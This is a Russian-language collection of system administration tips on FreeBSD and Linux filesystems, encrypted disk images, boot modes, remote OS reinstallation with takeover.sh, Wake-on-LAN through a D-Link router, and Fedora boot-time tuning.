    gfarm изначально позиционирует себя для таковой модели использования: есть много данных, распределенных по нодам, нужно их все параллельно обработать. В случае люстры и подобных - compute node сначала фетчит себе данные из кластерной фс, обрабатывает и возвращает обратно (отсюда требования к пропускной способности и латентности). В случае gfarm - задание по обработке для compute нода попадает благодаря gfarm именно на тот нод, где локально лежит одна из реплик требуемых данных. Соответственно по сети происходит трансфер задания на обработку данных , а не самих данных. (например, здесь, да и вообще тут- большинство тем именно parallel computing, а не distributed fs).

    Некая сборная информация есть в wikipedia.

     
    ----* Инструкция по включению журналирования в UFS2. (доп. ссылка 1)   Автор: Sokolov Alexey  [комментарии]
     
    Требуется создать журналируемую файловую систему UFS2 объемом более 1 Гб на FreeBSD 6.1-STABLE.
    
    Для начала необходимо обновить дерево исходных текстов (/usr/src) до стабильной версии.
    После чего переходим в каталог /usr/src и создаем там необходимые директории:
    
       # cd /usr/src
       # mkdir {sbin/geom/class/journal,sys/geom/journal,sys/modules/geom/geom_journal}
    
    Теперь качаем сам патч:
    
       # fetch http://people.freebsd.org/%7Epjd/patches/gjournal6.patch
    
    Накладываем его на исходные тексты:
    
       # patch < gjournal6.patch
    
    Компилируем и ставим geom_journal (возможно имеет смысл пересобрать весь мир):
    
    Далее есть два пути - пересобрать весь "мир" (см. файл /usr/src/UPDATING), либо
    пересобрать только то, что было модифицировано.
    Предпочтительней первый путь, однако можно обойтись и без него. Для этого
    пересоберите следующие утилиты
    (зайдя в нижеперечисленные каталоги и выполнив в каждом из них 'make; make install; make clean'):
    
       /usr/src/include/
       /usr/src/sbin/geom/class/
       /usr/src/sbin/mount/
    
    После чего добавляем в конфиг ядра строчку:
    
       options UFS_GJOURNAL
    
    Компилируем ядро, ставим, перезагружаемся...
    
    После перезагрузки подгружаем необходимый модуль командой
    
       # gjournal load
    
    либо:
    
       # kldload geom_journal.ko
    
    (команды эквивалентны)
    
    Далее нам необходимо размонтировать раздел, на который мы собираемся поставить журнал. 
    Пусть это будет '/dev/ad0s3d' и точка монтирования '/mnt/work':
    
       # umount -f /mnt/work
    
    Теперь собстенно "прикручиваем" журнал:
    
       # gjournal label /dev/ad0s3d
    
    Монтируем командой:
    
       # mount -o async,gjournal /dev/ad0s3d.journal /mnt/work
    
    NB! префикс '.journal' появляется при наличии в памяти модуля geom_journal.ko. 
    Поэтому, если вы захотите чтобы система автоматически монтировала раздел с поддержкой журнала: 
    пропишите в файл /boot/loader.conf строчку:
    
       geom_journal_load="YES"
    
    и соответствующую запись в fstab. Для данного примера она будет выглядеть так:
    
       /dev/ad0s3d.journal   /mnt/work   ufs   rw,async,journal   2   2
    
    Все, готово!
    
    (C) 2006 Sokolov Alexey <nullbsd at gmail.com>
    
     
    ----* Создание снапшота UFS2 в FreeBSD 5 (доп. ссылка 1)   [комментарии]
     
       mount -u -o snapshot ./snapshot_image /var
       mdconfig -a -t vnode -f ./snapshot_image -u 1
       mount -o ro /dev/md1 /mnt/snap
       ...
       umount /mnt/snap
       mdconfig -d -u 1
    
    Также можно использовать специализированную утилиту snapshot,
     представляющую собой фронтенд к mount и mdconfig.
    
     
    ----* Создание снапшота XFS под Linux используя возможности LVM  (доп. ссылка 1)   Автор: arstechnica.com  [комментарии]
     
    Замораживаем операции в ФС
         xfs_freeze -f /var/CommuniGate
    Создаем снапшот раздела  /var/CommuniGate
         lvcreate -l 500 -s -n snap /dev/cgpro/prod
    Монтируем снапшот.
        mount -o nouuid,ro /dev/mapper/cgpro-snap /var/CGPro-Snap
    Размораживаем раздел
        xfs_freeze -u /var/CommuniGate
    Производим резервное копирование снапшота
        .....
    Размонтируем и  удаляем снапшот.
        unmount /var/CGPro-Snap
        lvremove -f /dev/cgpro/snap
    
     
    ----* Создание файловой системы в файле под Linux (доп. ссылка 1)   [обсудить]
     
    Без шифрования:
        dd if=/dev/zero of=disk-image count=40960
        /sbin/mkfs -t ext3 -q disk-image
        mount -o loop=/dev/loop0 disk-image  fs
       .....работа с разделом
        losetup -d /dev/loop0
    
    С шифрованием:
        modprobe loop
        modprobe cryptoloop
        modprobe aes
        dd if=/dev/urandom of=disk-aes count=102400
        losetup -e aes /dev/loop1 ./disk-aes
        mkfs -t reiserfs /dev/loop1
        mount -o loop,encryption=aes,acl ./disk-aes /fs
        ....работа с разделом
        losetup -d /dev/loop0
    
     
    ----* Как осуществить разбивку диска в FreeBSD   Автор: lavr  [комментарии]
     
    Создать freebsd слайс и прописать стандартный загрузчик:
        fdisk -BI -v -b /boot/mbr ad0
        disklabel -w -r -B -b /boot/boot1 -s /boot/boot2 ad0s1 auto
        или проще disklabel -w -B ad0s1 auto
    Затем руками отредактировать разбивку:
       disklabel -e -r ad0s1 с нужными размерами
    newfs , затем "tunefs -n enable раздел" если нужно softupdate
    
     
    ----* Как включить поддержку ACL в UFS2 FreeBSD 5 (доп. ссылка 1)   [комментарии]
     
    В single mode: "/sbin/tunefs -a enable /fs"
    Пересобираем ядро с "options UFS_ACL"
      getfacl - просмотр ACL
      setfacl - установка ACL
    Например: setfacl -m user:nobody:rw-,group:wheel:rw- acl-test
    
     
    ----* Чем хороши LVM, ext3, reiserfs и xfs (доп. ссылка 1)   Автор: Денис Смирнов  [комментарии]
     
    LVM - позволяет гибко создавать, удалять и изменять размеры разделов без потери данных. 
    
    ext3 - расширение ext2 для журналирования. Поддерживает журналирование данных,
    а не только метаданных (при data=journal).
    
    reiserfs - высокая скорость работы с каталогами с большим числом файлов,
    компактно хранит хвосты от файлов,
    поддерживает увеличение размера раздела без остановки сервера.
    
    xfs - быстрая работа с файлами большого размера, великолепная надёжность, поддержка ACL.
    
     
    ----* Как настроить работу шифрованной файловой системы в Linux (доп. ссылка 1)   [комментарии]
     
    1. Устанавливаем патчи cryptoapi и cryptoloop http://www.kernel.org/pub/linux/kernel/crypto/
    2. dd if=/dev/zero of=/usr/testfs bs=1M count=50
    3. modprobe cryptoloop; modprobe cryptoapi; modprobe cipher-des
    4. losetup -e des /dev/loop0 /usr/testfs
    5. mkfs -t ext3 /dev/loop0
    6. mount -t ext3 /dev/loop0 /mnt/testfs
    
     
    ----* Переход на журналируемую файловую систему Reiserfs   [комментарии]
     
    - Включаем поддержку Reiserfs в ядре.
    - Устанавливаем reiserfsprogs-3.x.0j.tar.gz 
    - Cоздаем бут дискету (mkbootdisk --device /dev/fd0 2.4.13;
    lilo -C /etc/lilo.flop) 
    - Грузимся с дискеты указав в Lilo приглашении "linux root=/dev/hd init=/bin/bash"
    - mkreiserfs /dev/hda1 
    - mount -t reiserfs /dev/had1 / 
    
     
    ----* Как перейти в Linux на файловую систему ext3 (доп. ссылка 1)   [комментарии]
     
    Выкачиваем и накладываем ext3 патчи (ftp://ftp.kernel.org/pub/linux/kernel/people/sct/ext3/) и 
    утилиты (ftp://download.sourceforge.net/pub/sourceforge/e2fsprogs/).
    Преобразуем ext2 FS в ext3 (для отмонтированного раздела hda1):
       tune2fs -j /dev/hda1
    Обратное преобразование (из ext3 в ext2):
       tune2fs -O ^has_journal /dev/hda1
       fsck.ext2 -f /dev/hdaX
    Для форматирование нового ext3 раздела:
       mke2fs -j /dev/hda1
    Как обновить версию журнала:
       mount /dev/hdaX /mnt -o journal=update
    
     
    ----* Как включить Soft-updates в FreeBSD для увеличения производительности   [комментарии]
     
    1. Перейти в single режим
    2. Убедится, что раздел диска размонтирован.
    3. tunefs -n enable раздел (например, tunefs -n enable /usr )
    
     
    ----* Как узнать подробную информацию о EX2FS, размер блоков, системные данные и т.д.   [обсудить]
     
    общие данные из суперблока - dumpe2fs -h /dev/раздел
    информацию о каждом блоке - dumpe2fs /dev/раздел
    Для FreeBSD нужно использовать dumpfs.
    
     

       Загрузка, однопользовательский режим

    ----* Как загрузиться в однопользовательский режим (single mode)   [комментарии]
     
    FreeBSD:
    	boot -s
    Solaris:
    	stop+a
    	bo: boot -s
    Linux:
    	left-alt для lilo
    	boot: linux -b rw sushell=/sbin/sash single
            (можно init=/bin/sh)
    UnixWare:
    	Во время загрузки пробел
    	[boot] INITSTATE=s
    	go
    
     
    ----* Создание шифрованных образов виртуальных машин (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Инструкция по созданию полностью зашифрованного образа гостевой системы, в
    котором шифрование охватывает корневой раздел и стадию загрузки.
    
    Извлекаем содержимое корневого раздела образа виртуальной машины, который
    требуется зашифровать,  в tar-архив vm_root.tar. Проверяем, чтобы в образе были
    необходимые для шифрования и EFI-загрузки разделов утилиты, такие как
    cryptodisk и grub-efi.
    
    Создаём файл с дисковым образом, содержащим два раздела - небольшой раздел для
    EFI (p1, 100МБ)  и корневой раздел, содержимое которого будет зашифровано (p2).
    
    
       truncate -s 4GB disk.img
       parted disk.img mklabel gpt
       parted disk.img mkpart primary 1Mib 100Mib
       parted disk.img mkpart primary 100Mib 100%
       parted disk.img set 1 esp on
       parted disk.img set 1 boot on
    
    Настраиваем EFI на первом разделе и дисковое шифрование LUKS на втором. Для
    повышения защищённости можно заполнить шифрованный раздел случайными числами,
    но это приведёт к увеличению размера итогового образа qcow2. Создаём на
    шифрованном разделе ФС Ext4.
    
    привязываем образ к loop-устройству
    
       losetup -P -f disk.img          
    
    определяем имя созданного устройства (/dev/loopN), в дальнейшем используем
    переменную $l вместо устройства
    
       l=($(losetup -l|grep disk.img)) 
    
    создаём раздел с EFI, используем VFAT
    
       mkfs.vfat ${l}p1
    
    определяем UUID раздела EFI
    
       blkid ${l}p1  
    
    создаём шифрованный раздел, в процессе задаём временный пароль для расшифровки
    
       cryptsetup --type luks1 luksFormat ${l}p2 
    
    определяем UUID шифрованного раздела
    
       blkid ${l}p2 
    
    активируем шифрованный раздел и создаём на нём ФС ext4
    
       cryptsetup luksOpen ${l}p2 cr_root
       mkfs.ext4 /dev/mapper/cr_root
    
    монтируем раздел, копируем в него содержимое tar-архива с начинкой корневого
    раздела и создаём каталоги для точек монтирования /run, /sys, /proc и /dev.
    
       mount /dev/mapper/cr_root /mnt
       tar -C /mnt -xpf vm_root.tar
       for m in run sys proc dev; do mount --bind /$m /mnt/$m; done
    
    входим в окружение созданного корневого раздела
    
       chroot /mnt
    
    В /etc/fstab определяем метку корневого раздела (/dev/disk/cr_root) и раздела  EFI (/boot/efi).
    
    Настраиваем и устанавливаем загрузчик GRUB (в некоторых дистрибутивах вместо
    /boot/grub используется /boot/grub2, а вместо префикса "grub" - "grub2-"):
    
      echo "GRUB_ENABLE_CRYPTODISK=y" >> /etc/default/grub
       mount /boot/efi
       grub-install --removable --target=x86_64-efi
       grub-mkconfig -o /boot/grub/grub.cfg
    
    Для систем с mkinitramfs (Debian) дополнительно нужно добавить параметры
    шифрованного раздела в /etc/crypttab:
    
       cr_root UUID=<uuid> luks none
    
    После чего пересоздаём образ ram-диска с компонентами для начальной загрузки. 
    
    
    Для систем с dracut требуется изменить настройки /etc/default/grub, указав в
    GRUB_CMDLINE_LINUX привязку rd.luks.uuid=<UUID>. Для дистрибутивов с SELinux
    также нужно обновить метки (relabel).
    
    Отмонтируем созданные в процессе подготовки образа разделы из /mnt и пытаемся
    загрузить образ, используя режим EFI. В процессе загрузки вводим заданный ранее
    временный пароль и проверяем работоспособность окружения.
    
    Заменяем временный пароль на ключ для быстрой загрузки и настраиваем ram-диск
    для его использования. Для образа, примонтированного через /dev/sda:
    
       dd if=/dev/urandom bs=1 count=33|base64 -w 0 > /etc/cryptsetup-keys.d/luks-<UUID>.key
       chmod 600 /etc/cryptsetup-keys.d/luks-<UUID>.key
       cryptsetup --key-slot 1 luksAddKey /dev/sda2 # первичный ключ для восстановления
       cryptsetup --key-slot 0 luksRemoveKey /dev/sda2 # удаляем временный ключ
       cryptsetup --key-slot 0 --iter-time 1 luksAddKey /dev/sda2 /etc/cryptsetup-keys.d/luks-<UUID>.key
    
    Указание опции "-w 0" в dd необходимо для того, чтобы исключить появление в
    пароле символа перевода строки.
    
    Для систем с mkinitramfs теперь нужно изменить настройки /etc/crypttab, указав
    путь к сгенерированному ключу:
    
       cr_root UUID=<UUID> /etc/cryptsetup-keys.d/luks-<UUID>.key luks
    
    Для систем с dracut необходимо добавить hook ключа в /etc/dracut.conf.d, а для
    Debian также потребуется указать маску определения файла с ключом:
    
    cryptodisk.conf 
       install_items+=" /etc/cryptsetup-keys.d/* "
    
       echo "KEYFILE_PATTERN=\"/etc/cryptsetup-keys.d/*\"" >>/etc/cryptsetup-initramfs/conf-hook
    
    Теперь можно перегенерировать образ RAM-диска начальной загрузки. После попытки
    загрузки пароль будет спрошен один раз только на стадии запуска GRUB и на
    последующих стадиях загрузки запрашиваться не будет.
    
     
    ----* Монтирование корневой ФС в RO-режиме при загрузке в свежих версиях Fedora (доп. ссылка 1)   Автор: Artem S. Tashkinov  [комментарии]
     
    Для монтирования корневой файловой системы (root) в  режиме только для чтения
    при загрузке в свежих версиях Fedora в опции ядра нужно добавить:
    
       rd.break=pre-mount init=/usr/bin/bash
    
    Просто указания передачи ядру параметров  "1 ro" недостаточно, так как systemd
    игнорирует "ro". Параметр "rd.break=pre-mount" прервёт процесс загрузки перед
    монтированием корневой ФС и позволит выполнить любые проверки ФС на стадии до монтирования.
    
     
    ----* Удалённая замена одного Linux-дистрибутива на другой по SSH (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Для решения задачи полной переустановки Linux-дистрибутива на удалённом
    сервере, к которому имеется только доступ по SSH, подготовлен скрипт
    takeover.sh. Скрипт создаёт минималистичное рабочее окружение в памяти,
    состоящее из инструментария busybox и простейшего init-процесса. Подключившись
    по SSH к данному окружению можно провести переустановку с отмонтированием
    корневого раздела. В том числе можно выполнить операции полной очистки всех
    данных или переразбить дисковые разделы.
    
    Скрипт обеспечивает только создание окружения, непосредственно операции по
    переустановке выполняются вручную, после соединения к созданному окружению по
    SSH. Скрипт перемонтирует корневой раздел, но не трогает данные, поэтому в
    случае если что-то пошло не так и вручную не были произведены необратимые
    изменения для возврата к исходному состоянию достаточно перезагрузить сервер.
    После завершения установки новой ОС для выхода из созданного окружения и
    загрузки новой системы достаточно инициировать перезагрузку. Перед выполнением
    операции на реальном внешнем сервере рекомендуется провести тестовую
    переустановку с использованием виртуальной машины.
    
    Порядок операций:
    
    Создадим директорию с окружением для запуска скрипта (/takeover) и примонтируем
    к ней раздел tmpfs для хранения нового раздела в оперативной памяти:
    
       mount -t tmpfs none /takeover
    
    Скопируем в директорию рабочее окружение одного из минималистичных
    дистрибутивов для восстановления после сбоев, например,  SystemRescueCD.
    После копирования убедимся, что окружение работоспособно при помощи команды:
    
       chroot /takeover /bin/sh
    
    Скопируем в корень созданного окружения статически собранный вариант пакета 
    busybox (/takeover/busybox) и проверим его работоспособность:
    
       /takeover/busybox sh
    
    Скопируем в окружение скрипт takeover.sh и простейший init-процесс fakeinit,
    предварительно скомпилировав его из файла  fakeinit.c:
       
       gcc -static ./fakeinit.c -o ./fakeinit 
    
    
    Отключаем  по возможности все сервисы на переустанавливаемом сервере, убиваем
    процесс cron и завершаем работу http-сервера (скрипт по умолчанию открывает
    новый SSH-вход на 80 порту (на 22 порту пока висит старый SSH), поэтому важно,
    чтобы на этом порту не было обработчиков).
    
    Запускаем /takeover/takeover.sh и выполняем предложенные действия (задаём
    пароль входа и соглашаемся с продолжением выполнения операции). Далее заходим в
    новое окружение по SSH:
    
       ssh -p 80 root@my_host
    
    После входа удаляем все оставшиеся фоновые процессы старой системы и
    отмонтируем все разделы старой системы из директории /old_root, после чего
    отмонтируем корень старой системы (/old_root). Предварительно копируем в
    текущее окружение набор модулей ядра от старой системы /old_root/lib/modules,
    на случае если они понадобятся в процессе замены старой системы.
    
    
    Выполняем операции по замене системы, не забываем отмонтировать  дисковые
    разделы. После завершения работы  перезагужаем систему
    
       reboot -f 
    или
       echo b > /proc/sysrq-trigger
    
    
    Скрипт takeover.sh:
    
       #!/bin/sh
       set -e
    
       TO=/takeover
       OLD_TELINIT=/sbin/telinit
       PORT=80
    
       cd "$TO"
    
       if [ ! -e fakeinit ]; then
           ./busybox echo "Please compile fakeinit.c first"
           exit 1
       fi
    
       ./busybox echo "Please set a root password for sshd"
     
       ./busybox chroot . /bin/passwd
    
       ./busybox echo "Setting up target filesystem..."
       ./busybox rm -f etc/mtab
       ./busybox ln -s /proc/mounts etc/mtab
       ./busybox mkdir -p old_root
    
       ./busybox echo "Mounting pseudo-filesystems..."
       ./busybox mount -t tmpfs tmp tmp
       ./busybox mount -t proc proc proc
       ./busybox mount -t sysfs sys sys
       if ! ./busybox mount -t devtmpfs dev dev; then
           ./busybox mount -t tmpfs dev dev
           ./busybox cp -a /dev/* dev/
           ./busybox rm -rf dev/pts
           ./busybox mkdir dev/pts
       fi
       ./busybox mount -t devpts devpts dev/pts
    
       TTY="$(./busybox tty)"
    
       ./busybox echo "Checking and switching TTY..."
    
       exec <"$TO/$TTY" >"$TO/$TTY" 2>"$TO/$TTY"
    
       ./busybox echo "Type 'OK' to continue"
       ./busybox echo -n "> "
       read a
       if [ "$a" != "OK" ] ; then
           exit 1
       fi
    
       ./busybox echo "Preparing init..."
       ./busybox cp $OLD_TELINIT tmp/telinit
       ./busybox cat >tmp/init <<EOF
       #!${TO}/busybox sh
       exec <"${TO}/${TTY}" >"${TO}/${TTY}" 2>"${TO}/${TTY}"
       cd "${TO}"
       ./busybox echo "Init takeover successful"
       ./busybox echo "Pivoting root..."
       ./busybox pivot_root . old_root
       ./busybox echo "Chrooting and running init..."
       exec ./busybox chroot . /fakeinit
       EOF
       ./busybox chmod +x tmp/init
       
       ./busybox echo "Starting secondary sshd"
       
       ./busybox chroot . /usr/bin/ssh-keygen -A
       ./busybox chroot . /usr/sbin/sshd -p $PORT
    
       ./busybox echo "You should SSH into the secondary sshd now."
       ./busybox echo "Type OK to continue"
       ./busybox echo -n "> "
       read a
       if [ "$a" != "OK" ] ; then
           exit 1
       fi
    
       ./busybox echo "About to take over init. This script will now pause for a few seconds."
       ./busybox echo "If the takeover was successful, you will see output from the new init."
       ./busybox echo "You may then kill the remnants of this session and any remaining"
       ./busybox echo "processes from your new SSH session, and umount the old root filesystem."
    
       ./busybox mount --bind tmp /sbin
    
       ./tmp/telinit u
    
       ./busybox sleep 10
    
    
    
    init-процесс fakeinit.c
    
    
       #define _XOPEN_SOURCE 700
       #include <signal.h>
       #include <unistd.h>
       #include <sys/wait.h>
    
       int main()
       {
    	sigset_t set;
    	int status, i;
    
    	for (i = 0; i < 64; i++)
    		close(i);
    
    	if (getpid() != 1) return 1;
    
    	sigfillset(&set);
    	sigprocmask(SIG_BLOCK, &set, 0);
    
    	for (;;) wait(&status);
       }
    
     
    ----* Настройка двойной загрузки Ubuntu и Windows 10   Автор: Oleg Popov  [комментарии]
     
    Имеется ноутбук с SSD-накопителем (/dev/sdb) и жестким диском (/dev/sda). На
    SSD установлена ОС Windows 10.
    
    Задача: Разделить SSD на две части и установить во второй раздел Ubuntu,
    организовав двойную загрузку с Windows.
    
    Несмотря на кажущуюся простоту решения, имеется несколько важных подводных камней.
    
    1. Отключаем в BIOS UEFI Secure Boot и Fast Boot, загрузку с UEFI оставляем.
    
    2. Загружаемся в Windows, запускаем утилиту diskmgmt.msc, уменьшаем размер
    Windows-раздела на SSD и создаём все необходимые разделы, включая разбивку
    жесткого диска. Разделы создаём без ФС и привязки букв в режиме RAW. Это
    принципиально важный шаг, разбивку диска нужно делать именно в Windows, если
    разбить разделы во время установки Ubuntu, то первая же загрузка в Windows
    после установки Ubuntu повредит содержимое разделов Linux, так как Windows
    кэширует старые параметры разделов.
    
    3. Во время установки выбираем ручную разбивку диска, привязываем точки
    монтирования /, /home и т.п, устанавливаем флаг форматирования. Для раздела с
    файлами UEFI (обычно fat32-раздел вначале диска 100-200 Мб) явно устанавливаем
    тип "efi", если этого не сделать, то после установки будет выведена ошибка о
    невозможности установить загрузчик grub.
    
    4. Если в результате в загрузочном меню Grub присутствует только Ubuntu, а
    Windows не появился (в моём случае загрузчик Windows был на диске /dev/sdb1, а
    EFI-раздел с загрузчиком на /dev/sda1), то загрузившись в Ubuntu можно
    запустить утилиту  boot-repair, которая автоматизирует решение большинства
    проблем с загрузкой:
    
       sudo add-apt-repository ppa:yannubuntu/boot-repair
       sudo apt-get update
       sudo apt-get install boot-repair 
       sudo boot-repair
    
     
    ----* Пробуждение компьютера по сети с помощью D-Link DIR 300 (320) NRU   Автор: jPump  [комментарии]
     
    Задача: 
    
    Осуществить возможность пробуждения (Wake on Lan) из интернета удаленного
    компьютера, находящегося дома за роутером марки D-Link (DIR-300, DIR-320).
    
    Решение:
    
    Использование команды ip, имеющейся в стандартных сборках BusyBox'a в роутерах D-Link.
      
    Предисловие:
    
    Дома стоит роутер D-Link DIR-320/NRU ревизии B1, а до этого был DIR-300/NRU
    ревизии B5, для которых (на данный момент) нет альтернативных готовых прошивок
    (в том числе и горячо всеми любимой DD-WRT). На роутере стоит BusyBox 1.12.
    
    Проблема состояла в том, что встроенное в веб-интерфейс средство переброса
    пакетов не позволяют переадресацию в широковещательный канал - broadcast
    (x.x.x.255), а хитровыделанный D-Link обновляет arp-таблицу каждые 15-30
    секунд, так что непосредственно в выключенный длительное время компьютер Magic
    Packet тоже не перебросить. Тайваньские ребята решили отказаться от компиляции
    arp, sudo и прочих печенюшек в BusyBox, поскольку iptables тоже не позволяет
    POSTROUTING на широковещательный канал.
    
    Решение после недели напряженного поиска было найдено случайно на ныне
    почившем форуме сборки линукса для старых компьютеров под роутер.
    
    Пример:
    
    Для начала настройте BIOS вашей материнской платы (в разделе настроек питания
    есть пункт о пробуждении из выключенного состояния) и вашей сетевой карты (уже
    из операционной системы в свойствах карты). Для проверки выключите компьютер и
    посмотрите, если индикация сетевого разъема мигает, значит все в порядке.
    
    1. Подключаемся  telnet-ом к роутеру (логин и пароль те же, что и для веб-интерфейса):
    
       Dlink-Router login: admin
       Password:
       Welcome to
       	 _______          ___     __  ____   _  _   ___
       	|  ___  \\        |   |   |__||    \\ | || | /  /
       	| |   | ||  ___  |   |__  __ |     \\| || |/  /
       	| |___| || |___| |      ||  || |\\     ||     \\
       	|_______/        |______||__||_| \\____||_|\\___\\
       
       					 = Ebuilding Networks for People =
       
       
       
       BusyBox v1.12.1 (2011-05-13 14:42:48 MSD) built-in shell (ash)
       Enter 'help' for a list of built-in commands.
       
       #
       
    2. Если компьютер в данный момент присоединен к роутеру, то ищем его mac-адрес, набираем:
      
       # ip neigh show
    
       <Внешний_ip> dev eth2.5 lladdr 01:23:45:67:AB:CD DELAY   ! Внешний адрес
       192.168.0.50 dev br0 lladdr 11:22:33:44:55:66 REACHABLE  ! Настольный компьютер 
       192.168.0.90 dev br0 lladdr 77:88:99:00:AA:BB REACHABLE  ! Ноутбук
    
    3. Поскольку в данный момент уже уже есть запись для нашего mac-адреса, то мы
    не добавляем, а просто изменяем текущую:
      
       # ip neigh change 192.168.0.50 lladdr 11:22:33:44:55:66 nud permanent dev br0
       
    4. Смотрим результат, снова набираем:
      
       # ip neigh show
    
       <Внешний_ip> dev eth2.5 lladdr 01:23:45:67:AB:CD DELAY   ! Внешний адрес
       192.168.0.50 dev br0 lladdr 11:22:33:44:55:66 PERMANENT  ! Настольный компьютер 
       192.168.0.90 dev br0 lladdr 77:88:99:00:AA:BB REACHABLE  ! Ноутбук
      
    После этого уже заходим на веб-интерфейс нашего роутера и в разделе "межсетевой
    экран" в пункте "Виртуальные серверы" добавляем проброс 9 (или 7, в зависимости
    от вашей сетевой карты) порта роутера на порт ip вашего компьютера.
    
    Послесловие: 
    
    Совет: настройте через веб-интрефейс роутера DHCP для mac'а вашего компьютера
    статический IP (по умолчанию DIR-300(320)/NRU выдает их в диапазоне от
    192.168.0.2 - 192.168.0.100)
    
    Дополнительные ссылки:
    
  • Немного о линуксовых командах в пределах BusyBox: http://noted.org.ua/1727
  • Чуть подробнее про команду ip: http://linux-ip.net/html/tools-ip-neighbor.html
  • Для проверки работоспособности можно воспользоваться сайтом: http://wakeonlan.me/
  • Особая благодарность русскоязычному форуму D-Link'a, оказавшую неоценимую помощь и моральную поддержку: 1, 2, 3
  •  
    ----* Сокращение времени загрузки Fedora 17 c 15 до 3 секунд (доп. ссылка 1)   [комментарии]
     
    Изложенные в данной статье инструкции позволяют сократить до трёх секунд
    загрузку дистрибутива Fedora 17 с NetworkManager до экрана приглашения входа в
    систему от GDM. Указанная конфигурация опробована на ноутбуке Lenovo T420s
    (2x2x Intel Core i5-2540M CPU @ 2.60GHz) и SSD-накопителем Intel SSDSA2BW160G3L.
    
    1. Используем простейшую конфигурацию разбиения диска с загрузочным и рабочим
    разделами с файловой системой Ext4:
    
       sda1 ext4 /boot
       sda2 swap
       sda3 ext4 /
    
    После установки дистрибутива потребуется как минимум две перезагрузки для
    достижения оптимального времени загрузки из-за необходимости адаптации к
    загрузочной последовательности механизма readahead (вначале readahead собирает
    информацию о загружаемых программах и библиотеках, после чего начнёт разом
    загружать компоненты в кэш страниц памяти).
    
    Обновляем все пакеты, активируем prelink и устанавливаем пакет systemd-analyze:
    
       sudo yum update
       sudo /etc/cron.daily/prelink
       sudo yum install systemd-analyze
    
    
    После перезагрузки выполняем:
    
       sudo systemd-analyze
    
       Startup finished in 1413ms (kernel) + 2911ms (initramfs) + 10593ms (userspace) = 14918ms
    
    Как видим в штатном режиме дистрибутив загрузился за 15 секунд.
    
    Начинаем оптимизацию. 
    Отключаем initramfs - так как в ядро встроена поддержка файловой системы ext4,
    поэтому для монтирования корневого раздела не требуется загрузка дополнительных
    модулей ядра. В параметрах загрузки явно указываем имя корневого раздела (без
    UUID) и тип ФС. Содержимое /etc/grub2.cfg должно выглядеть примерно так:
    
       linux /vmlinuz-3.3.7-1.fc17.x86_64 root=/dev/sda3 rootfstype=ext4 quiet libahci.ignore_sss=1 raid=noautodetect
       # initrd /initramfs-3.3.7-1.fc17.x86_64.img
    
    Опции "raid=noautodetect" и "libahci.ignore_sss=1" позволяют ускорить время
    инициализации ядра из-за пропуска дополнительных проверок.
    
    После перезагрузки systemd-analyze показывает сокращение времени до 14684ms.
    Продолжаем оптимизацию.
    
    Так как на компьютере не используются  LVM, RAID и шифрование можно смело
    отключить все сервисы fedora-*storage*. Дополнительно можно отключить систему
    вывода заставки  plymouth, так как нам важнее скорость а не эстетическое
    наслаждение от ожидания завершения загрузки. Для отключения указанных сервисов
    следует использовать команду "systemctl mask", достоинство которой ещё и в том,
    что %post скрипт RPM в дальнейшем не включит сервис автоматически.
    
       cd /lib/systemd/system
       for i in fedora*storage* plymouth-*.* lvm2-monitor.* mdmonitor*.*; do sudo systemctl mask $i;done
    
    Одновременно отключим лишние SysV-скрипты  livesys, livesys-late и spice-vdagentd:
    
       for i in livesys livesys-late spice-vdagentd ; do sudo chkconfig $i off;done
    
    Перезагружаем систему и наблюдаем через systemd-analyze сокращение времени загрузки до 8197ms
    
    Далее переходим к экстремальным действиям и отключаем все сервисы, кроме
    NetworkManager, поэтому важно запомнить что именно было отключено, так как в
    результате будет получена система без почты, межсетевого экрана, системы
    печати, утилит abrt,  avahi, некоторых точек монтирования, rsyslog, irqbalance
    и защиты selinux.
    
       cd /lib/systemd/system
       for i in abrt*.service auditd.service avahi-daemon.* bluetooth.* dev-hugepages.mount dev-mqueue.mount \\
          fedora-configure.service fedora-loadmodules.service fedora-readonly.service ip6tables.service \\
          iptables.service irqbalance.service mcelog.service rsyslog.service sendmail.service sm-client.service \\
          sys-kernel-config.mount sys-kernel-debug.mount; do \\
        sudo systemctl mask $i; \\
       done
    
    Для отключения selinux правим  файл /etc/selinux/config и добавляем настройку
    "selinux=0" в строку с параметрами ядра. Настройки /etc/grub2.cfg принимают
    примерно такой вид:
    
       linux /vmlinuz-3.3.7-1.fc17.x86_64 root=/dev/sda3 rootfstype=ext4 libahci.ignore_sss=1 raid=noautodetect selinux=0
       #  initrd /initramfs-3.3.7-1.fc17.x86_64.img
    
    
    Перезагружаемся и наблюдаем по systemd-analyze сокращение загрузки до 2926ms.
    
    Но идеи по оптимизации пока не исчерпаны. Попробует выжать ещё времени через
    манипуляции с монтированием разделов. Переводим раздел /boot в режим
    "монтирование по требованию" и создаём раздел /tmp с использованием  tmpfs для
    сокращения нагрузки на диск в процессе загрузки. В результате /etc/fstab будет
    выглядеть следующим образом:
    
       /dev/sda3  /                       ext4    defaults        1 1
       /dev/sda1  /boot                   ext4    noauto,comment=systemd.automount     1 2
       /dev/sda2  swap                    swap    defaults        0 0
       tmpfs      /tmp                    tmpfs   defaults        0 0
    
    После перезагрузки systemd-analyze выдаёт 2769ms.
    
    Так как NetworkManager запускается также при старте программы входа в систему,
    можно отключить приводящую к загрузке  NetworkManagers зависимость на уровне
    multi-user, так как он всё равно будет параллельно запущен при запуске gdm,
    зависимость для которого остаётся.
    
       sudo rm /etc/systemd/system/multi-user.target.wants/NetworkManager.service
    
    Проверяем время загрузки - 2603ms.
    
    Для проверки насколько readahead влияет на время загрузки  для эксперимента
    временно выключим readahead:
    
       cd /lib/systemd/system   
       for i in *readahead*; do sudo systemctl mask $i;done
    
    После перезагрузки systemd-analyze показывает 2547ms. Но несмотря на сокращение
    времени загрузки до запуска экрана входа в систему, сам э
    кран визуально появляется с некоторой задержкой. Для того чтобы более точно
    оценить время загрузки воспользуемся секундомером.
    
       sudo dracut -f
    
    Время загрузки с readahead и возвращённым initramfs: 
    
       systemd-analyze 
       Startup finished in 803ms (kernel) + 2217ms (initramfs) + 1018ms (userspace) = 4039ms
    
    При сборке initramfs без plymouth и в режиме только хоста:
    
       sudo dracut -f -H -o plymouth
    
    получаем:
    
       systemd-analyze 
       Startup finished in 612ms (kernel) + 499ms (initramfs) + 1330ms (userspace) = 2443ms
    
    Следует иметь в виде,  что сервисы  отключенные через "systemctl mask" при
    необходимости  можно в любой момент вернуть командой "systemctl unmask".
    
     
